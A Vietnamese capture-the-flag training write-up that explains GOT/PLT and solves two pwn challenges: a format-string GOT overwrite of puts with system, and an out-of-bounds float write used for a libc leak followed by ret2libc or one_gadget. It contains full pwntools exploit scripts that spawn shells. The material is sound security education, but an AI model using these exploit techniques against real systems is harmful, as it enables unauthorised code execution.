# Training KCSC 2024 ## Task2 ### Khái niệm GOT và PLT - **GOT** (Global Offset Table) là nơi lưu trữ các hàm và các biến của thư viện. - **PLT** (Procedure Linkage Table) là nơi chứa các mã lệnh để liên kết với các hàm trong thư viện. - Ví dụ khi hàm `printf` được gọi lần đầu tiên, bởi vì địa chỉ của hàm `printf` chưa có trong **GOT**, chương trình sẽ gọi một mục trong **PLT** tương ứng với hàm `printf`. Lúc này, mục đó sẽ gọi đến một đoạn mã để phân giải địa chỉ thực sự của `pritnf`. Sau khi phân giải, chương trình sẽ cập nhập địa chỉ đó vào một mục ở trong GOT. Từ đó, nếu trong các lần sau ta gọi `printf`, thay vì gọi trong **PLT**, chương trình sẽ lấy thẳng địa chỉ vừa phân giải trong **GOT**. ### Format string - Check qua ida: ![image](https://hackmd.io/_uploads/r1eKjHlk1l.png) - Ta thấy ngay lỗi format string ở hàm `prinf`. Bởi vì bài này không có hàm win cũng như điều kiện gì đó để thực thi shellcode, ta phair tự tạo shellcode bằng cách tấn công `GOT`. - Ở hàm `printf` bị lỗi format string, nếu ta **overwrite** hàm `puts.got` thành `system`, thì ở lần nhập thứ 2 nếu ta nhập vào chuỗi `/bin/sh`, tiếp theo hàm `puts` sẽ biến thành `system` và ta sẽ có shellcode. - Như đã nói ở trên, trong một chương trình sẽ có `GOT` và `PLT`. Lần đầu tiên hàm nào đó được gọi, chương trình sẽ dùng một địa chỉ để gọi một hàm trong `PLT` từ đó gọi đến địa chỉ thực sự của hàm đó. Trong bài này, nếu ta overwite địa chỉ đó của hàm `puts` thành hàm `system`, khi lần đầu tiên hàm puts được gọi, hàm được gọi sẽ biến thành `system`, từ đó ta đạt được mục đích. - Sử dụng lệnh `got` trong gdb để tìm địa chỉ của hàm `puts` và `system`: ![image](https://hackmd.io/_uploads/Hy-Y6Bl1kg.png) - Ta có thể thấy giữa hai địa chỉ chỉ khác nhau 1 byte cuối. Vì vậy ta có thể dễ dàng overwrite byte cuối bằng cách sử dụng `%hhn`. - Thử viết một script exploit thử: ```python! from pwn import * context.binary = exe = ELF('./main', checksec=False) p=process(exe.path) gdb.attach(p, gdbscript=''' b*0x000000000040122f c ''') payload = f'%{0x40}c%6$aaa'.encode() payload += p64(exe.got['puts']) p.sendlineafter(b'Give me fmt: ',payload) p.interactive() ``` - Trong payload ta sẽ sử dụng `f` cho dễ. Phần `0x40` là do ta cần ghi đè byte cuối của `puts` từ `30` thành `40`. Dùng `aaa` mà không phải là `hhn` là bởi vì ta đang DEBUG xem chương trình đang hoạt động ra sao. Bởi vì nếu dùng luôn `hhn` thì khả năng cao chương trình sẽ bị lỗi và thoát ra luôn khiến ta không DEBUG được: ![image](https://hackmd.io/_uploads/BkqveUekyx.png) - Lúc này ta thấy trên **stack** địa chỉ đầu tiên đúng rồi. Nhưng ở cái thứ 2 ta thấy địa chỉ của hàm `puts` không chính xác. Điều này là do ở phần đầu của payload ta chưa điền đủ 16 byte. Để khắc phục thì ta chỉ cần thêm 5 byte sau ở nửa đầu payload. Viết luôn một script hoàn thiện để xem đã thành công hay chưa: ```python from pwn import * context.binary = exe = ELF('./main', checksec=False) p=process(exe.path) gdb.attach(p, gdbscript=''' b*0x000000000040122f c ''') payload = f'%{0x40}c%8$aaa'.encode() payload += b'aaaaaa' payload += p64(exe.got['puts']) p.sendlineafter(b'Give me fmt: ',payload) p.interactive() ``` - Chạy thử xem có shell chưa: ![image](https://hackmd.io/_uploads/By7bASg11l.png) - Success!!! ### Out-of-bounds - Decompile file thử: ![image](https://hackmd.io/_uploads/H1MeoxNJkg.png) ![image](https://hackmd.io/_uploads/rkngjxV1Jx.png) - Check qua thì thấy hàm `memset` set cho `s` 40 byte. Hàm `chart_course` với vòng lặp **for** vô hạn giúp ta nhập vào **LAT** và **LON**. Nếu ta chỉ nhập **LAT** mà không nhập **LON**, chương trình sẽ yêu cầu ta nhập **LON** vào. Sau khi **LON** hoặc **LAT** được nhập vào, nó sẽ được lưu trữ ở vị trí `a1 + i *4`. Vấn đề là `s` (ở trong hàm `chart_course` là `a1`) chỉ được set 48 byte. Điều này sẽ làm chương trình có lỗi `out-of-bounds` nếu ta nhập đến **LAT** thứ 6. Bởi vì `s` chỉ được khai báo 48 byte, mỗi lần lưu tọa độ, nó sẽ chiếm 4 byte không gian. Điều này khiến chương trình gặp lỗi, với `s` 48 byte, **rbp** 8 byte, sau đó nếu ta nhập vào sẽ có thể overwrite **rip**. - Bởi vì **ASLR** được bật, libc base của chương trình sẽ thay đổi mỗi lần chạy. Vậy hướng đi của bài này là: leak libc base sử dụng **puts@got**, call **system** và **/bin/sh** (hoặc là **one_gadget**). - Ở đây có hàm **atof**, nôm na là nó sẽ xử lí chuỗi nhập vào đến khi gặp kí tự không hợp lệ hoặc dấu cách để trả về **float**. Vậy với payload như bình thường ta nhập vào sẽ không hoạt động. Vì vậy ta cần chuyển payload về dạng **float** > Ở hàm `atof`, sau khi nhập vào payload dưới dạng **float**, khi đi vào chương trình sẽ được lưu trữ dưới dạng nhị phân. Giả sử ta nhập đúng vị trí để ghi đè `rip`, ta sẽ có thể khiến `rip` trỏ tới địa chỉ mà ta muốn. - Bước 1: leak libc base - Script python convert to float: ```py import struct hex_value = 0x00400661 #payload can convert float_value = struct.unpack('f', struct.pack('I', hex_value))[0] print(float_value)`` ``` - Script leak libc: ```py #!/usr/bin/env python3 from pwn import * exe = ELF("./overfloat_patched") libc = ELF("./libc-2.27.so") ld = ELF("./ld-2.27.so") context.binary = exe def conn(): if args.LOCAL: r = process([exe.path]) gdb.attach(r, gdbscript=''' b*0x0000000000400a1f c''') if args.DEBUG: gdb.attach(r) else: r = remote("addr", 1337) return r def main(): r = conn() for i in range(14): r.sendlineafter(b']: ',b'1.1') r.sendlineafter(b']: ',b'5.881242648278936e-39') #rdi r.sendlineafter(b']: ',b'') r.sendlineafter(b']: ',b'8.827731909737764e-39') #got r.sendlineafter(b']: ',b'') r.sendlineafter(b']: ',b'5.879825935531503e-39') #plt r.sendlineafter(b']: ',b'') r.sendlineafter(b']: ',b'5.880906336647498e-39') #main r.sendlineafter(b']: ',b'') r.sendlineafter(b']: ',b'done') r.recvuntil(b'VOYAGE!\n') libc=u64(r.recv(6) + b'\0\0') base = libc - 0x809c0 print(b'lib leak: ', hex(libc)) print(b'lib base: ', hex(base)) r.interactive() if __name__ == "__main__": main() ``` - Khi đã có libc base, ta chỉ cần ret2libc (bởi vì chương trình có time out nên ta phải tự động bằng script): ```py #!/usr/bin/env python3 from pwn import * exe = ELF("./overfloat_patched") libc = ELF("./libc-2.27.so") ld = ELF("./ld-2.27.so") context.binary = exe def conn(): if args.LOCAL: r = process([exe.path]) gdb.attach(r, gdbscript=''' b*0x0000000000400a1f c''') if args.DEBUG: gdb.attach(r) else: r = remote("addr", 1337) return r def main(): r = conn() for i in range(14): r.sendlineafter(b']: ',b'1.1') r.sendlineafter(b']: ',b'5.881242648278936e-39') #rdi r.sendlineafter(b']: ',b'') r.sendlineafter(b']: ',b'8.827731909737764e-39') #got r.sendlineafter(b']: ',b'') r.sendlineafter(b']: ',b'5.879825935531503e-39') #plt r.sendlineafter(b']: ',b'') r.sendlineafter(b']: ',b'5.880906336647498e-39') #main r.sendlineafter(b']: ',b'') r.sendlineafter(b']: ',b'done') r.recvuntil(b'VOYAGE!\n') libc=u64(r.recv(6) + b'\0\0') base = libc - 0x809c0 print(b'lib leak: ', hex(libc)) print(b'lib base: ', hex(base)) binsh = base +0x1b3e9a system = base + 0x4f440 print('binsh: ', hex(binsh)) def split_address(address): # Lấy 32 bit thấp part1 = address & 0xFFFFFFFF # Lấy 4 byte cuối # Lấy 32 bit cao part2 = (address >> 32) & 0xFFFFFFFF # Lấy 4 byte đầu part1 = f"0x{part1:08x}" # Định dạng thành chuỗi có 8 ký tự hex part2 = f"0x{part2:08x}" # Tương tự return part1, part2 binsh_1, binsh_2 = split_address(binsh) print('binsh1: ',binsh_1) print('binsh2: ',binsh_2) system_1, system_2 = split_address(system) print('system1: ', system_1) print('system2: ', system_2) binsh_1_int = int(binsh_1, 16) binsh_2_int = int(binsh_2, 16) system_1_int = int(system_1, 16) system_2_int = int(system_2, 16) binsh1_float = struct.unpack('f', struct.pack('I', binsh_1_int))[0] binsh2_float = struct.unpack('f', struct.pack('I', binsh_2_int))[0] system1_float = struct.unpack('f', struct.pack('I', system_1_int))[0] system2_float = struct.unpack('f', struct.pack('I', system_2_int))[0] binsh1_float_str = str(binsh1_float).encode() binsh2_float_str = str(binsh2_float).encode() system1_float_str = str(system1_float).encode() system2_float_str = str(system2_float).encode() for i in range(14): r.sendlineafter(b']: ',b'1.1') r.sendlineafter(b']: ',b'5.87976007450368e-39') #ret r.sendlineafter(b']: ',b'') r.sendlineafter(b']: ',b'5.881242648278936e-39') #rdi r.sendlineafter(b']: ',b'') r.sendlineafter(b']: ',binsh1_float_str) #/bin/sh r.sendlineafter(b']: ',binsh2_float_str) r.sendlineafter(b']: ',system1_float_str) #system r.sendlineafter(b']: ',system2_float_str) r.interactive() if __name__ == "__main__": main() ``` - Hoặc ta có thể sử dụng `one_gadget`: ```py #!/usr/bin/env python3 from pwn import * exe = ELF("./overfloat_patched") libc = ELF("./libc-2.27.so") ld = ELF("./ld-2.27.so") context.binary = exe def conn(): if args.LOCAL: r = process([exe.path]) if args.DEBUG: gdb.attach(r) else: r = remote("addr", 1337) return r def main(): r = conn() for i in range(14): r.sendlineafter(b']: ',b'1.1') r.sendlineafter(b']: ',b'5.881242648278936e-39') #rdi r.sendlineafter(b']: ',b'') r.sendlineafter(b']: ',b'8.827731909737764e-39') #got r.sendlineafter(b']: ',b'') r.sendlineafter(b']: ',b'5.879825935531503e-39') #plt r.sendlineafter(b']: ',b'') r.sendlineafter(b']: ',b'5.880906336647498e-39') #main r.sendlineafter(b']: ',b'') r.sendlineafter(b']: ',b'done') r.recvuntil(b'VOYAGE!\n') libc=u64(r.recv(6) + b'\0\0') base = libc - 0x809c0 def split_address(address): # Lấy 32 bit thấp part1 = address & 0xFFFFFFFF # Lấy 4 byte cuối # Lấy 32 bit cao part2 = (address >> 32) & 0xFFFFFFFF # Lấy 4 byte đầu part1 = f"0x{part1:08x}" # Định dạng thành chuỗi có 8 ký tự hex part2 = f"0x{part2:08x}" # Tương tự return part1, part2 onegadget= base + 0x4f2c5 one_1, one_2 = split_address(onegadget) one_1_int = int(one_1, 16) one_2_int = int(one_2, 16) one_1_float = struct.unpack('f', struct.pack('I', one_1_int))[0] one_2_float = struct.unpack('f', struct.pack('I', one_2_int))[0] one_1_float_str = str(one_1_float).encode() one_2_float_str = str(one_2_float).encode() for i in range(14): r.sendlineafter(b']: ',b'1.1') r.sendlineafter(b']: ',one_1_float_str) #ret r.sendlineafter(b']: ',one_2_float_str) r.sendlineafter(b']: ',b'done') r.interactive() if __name__ == "__main__": main() ``` - Dù là cách nào thì ta cũng đều lấy được shell cả: ![image](https://hackmd.io/_uploads/rkohFZ4JJg.png)